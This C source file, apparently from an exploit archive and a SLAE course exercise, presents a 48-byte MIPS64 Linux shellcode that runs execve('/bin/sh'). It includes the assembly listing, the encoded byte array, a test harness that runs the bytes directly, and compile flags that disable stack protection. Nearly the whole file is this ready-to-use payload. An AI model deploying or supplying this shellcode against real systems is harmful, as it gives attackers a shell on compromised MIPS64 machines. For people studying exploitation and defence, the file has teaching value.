56 lines
No EOL
1.2 KiB
C
56 lines
No EOL
1.2 KiB
C
/* Title: Linux/MIPS64 - execve(/bin/sh) Shellcode (48 bytes)
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* Date: 2018-08-10
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* Author: Antonio
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*
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* [*] execve(/bin/sh) shellcode for MIPS64
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* [*] tested on MIPS Malta - Linux debian-mips64el 4.9.0-3-5kc-malta
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* [*] 48 bytes
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*
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* gcc -fno-stack-protector -z execstack main.c -o main -g
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*
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* adp, SLAE - 1326, 2018.
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*/
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#include <stdio.h>
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#include <string.h>
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/*
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.text
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.global __start
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__start:
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dli $t0,0x69622f2f
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sw $t0,-12($sp)
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dli $t1,0x68732f6e
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sw $t1,-8($sp)
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sw $zero,-4($sp)
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daddiu $a0,$sp,-12
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slti $a1,$zero,-1
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slti $a2,$zero,-1
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dli $v0, 5057
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syscall 0x40404
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.align 8
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*/
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unsigned char shellcode[] =
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"\x62\x69\x0c\x3c"
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"\x2f\x2f\x8c\x35"
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"\xf4\xff\xac\xaf"
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"\x73\x68\x0d\x3c"
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"\x6e\x2f\xad\x35"
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"\xf8\xff\xad\xaf"
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"\xfc\xff\xa0\xaf"
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"\xf4\xff\xa4\x67"
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"\xff\xff\x05\x28"
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"\xff\xff\x06\x28"
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"\xc1\x13\x02\x24"
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"\x0c\x01\x01\x01";
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int main(int argc, char ** argv)
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{
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void (*s) (void);
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printf("Shellshellcode Length: %d\n", strlen(shellcode));
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s = shellcode;
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s();
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} |